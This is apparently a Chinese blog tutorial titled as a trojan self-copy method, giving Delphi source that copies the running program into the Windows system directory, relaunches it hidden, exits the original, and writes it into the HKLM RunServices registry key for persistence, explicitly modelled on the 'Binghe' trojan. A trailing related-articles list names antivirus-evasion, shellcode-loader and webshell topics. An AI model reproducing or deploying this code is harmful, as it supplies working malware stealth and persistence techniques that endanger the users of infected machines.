木马自我拷贝法[Delphi]

简介: 这种方法的原理是程序运行时先查看自己是不是在特定目录下,如果是就继续运行,如果不是就把自己拷贝到特定目录下,然后运行新程序,再退出旧程序.打开Delphi,新建一个工程,在窗口的Create事件中写代码:   procedure TForm1.FormCreate(Sender: TObject);var myname: string;beginmyname := ExtractFi

这种方法的原理是程序运行时先查看自己是不是在特定目录下,如果是就继续运行,如果不是就把自己拷贝到特定目录下,然后运行新程序,再退出旧程序.
打开Delphi,新建一个工程,在窗口的Create事件中写代码:

 

procedure TForm1.FormCreate(Sender: TObject);
var myname: 
string ;
begin
myname :
=  ExtractFilename(Application.Exename);  // 获得文件名
if  application.Exename  <>  GetWindir  +  myname then  // 如果文件不是在WindowsSystem那么..
begin
copyfile(pchar(application.Exename), pchar(GetWindir 
+  myname), False); {将自己拷贝到WindowsSystem下}
Winexec(pchar(GetWindir 
+  myname), sw_hide); // 运行WindowsSystem下的新文件
application.Terminate; // 退出
end;
end;
其中GetWinDir是自定义函数,起功能是找出WindowsSystem的路径.
function GetWinDir: String;
var
Buf: array[
0 ..MAX_PATH] of  char ;
begin
GetSystemDirectory(Buf, MAX_PATH);
Result :
=  Buf;
if  Result[Length(Result)] <> ' ' then Result := Result +  ' ' ;
end; 

 

如何能使程序能在windows启动时自动启动?
 
为了程序能在Windows每次启动时自动运行,可以通过六种途径来实现.“冰河”用注册表的方式。
加入Registry单元,改写上面的窗口Create事件,改写后的程序如下:

 

procedure TForm1.FormCreate(Sender: TObject);
const  K  =   ' SoftwareMicrosoftWindowsCurrentVersionRunServices ' ;
var myname: 
string ;
begin
{Write by Lovejingtao,http://Lovejingtao.126.com,Lovejingtao@21cn.com}
myname := ExtractFilename(Application.Exename); //获得文件名
if application.Exename <> GetWindir + myname then //如果文件不是在WindowsSystem那么..
begin
copyfile(pchar(application.Exename), pchar(GetWindir 
+ myname), False);{//将自己拷贝到WindowsSystem下}
Winexec(pchar(GetWindir + myname), sw_hide);//运行WindowsSystem下的新文件
application.Terminate;//退出
end;
with TRegistry.Create 
do
try
RootKey :
= HKEY_LOCAL_MACHINE;
OpenKey( K, TRUE );
WriteString( 
'syspler', application.ExeName );
finally
free;
end;
end; 
相关文章
|
网络协议 网络安全
Powershell免杀(无文件落地免杀)
无文件落地 顾名思义,无需将恶意文件传到目标服务器/机器上,直接利用powershell的特性加载到内存执行。为了在红队行动中更隐蔽的实施攻击以及横向移动,同时还可以解决目标不出网只能通过dns上线时的棘手问题,利用powershell可以避免一行行echo。 通过两种方式进行无文件落地的免杀,一种是出网的情况,另一种为不出网情况。 声明: 文章内容仅供网络安全爱好者学习使用,请勿用文章中提到的技术或工具做违法的事情,否则后果自负。
1217 0
《C++避坑神器·九》小白也能轻易掌握动态链接库DLL的使用
《C++避坑神器·九》小白也能轻易掌握动态链接库DLL的使用
190 0
|
安全 Go API
自写go加载器加壳免杀——过国内主流杀软
自写go加载器加壳免杀——过国内主流杀软
504 0
|
安全 Windows
【工具分享】免杀360&火绒的shellcode加载器
【工具分享】免杀360&火绒的shellcode加载器
409 0
|
安全 数据安全/隐私保护 C++
【免杀】C++静态免杀学习
【免杀】C++静态免杀学习
482 0
|
安全 编译器 PHP
webshell免杀之函数与变量玩法
webshell免杀之函数与变量玩法
|
存储 JSON 小程序
走进小程序【三】小程序代码构成
走进小程序【三】小程序代码构成
210 0
|
安全 网络安全 PHP
文件包含漏洞原理解析_1 | 学习笔记
快速学习 文件包含漏洞原理解析_1
175 0
文件包含漏洞原理解析_1 | 学习笔记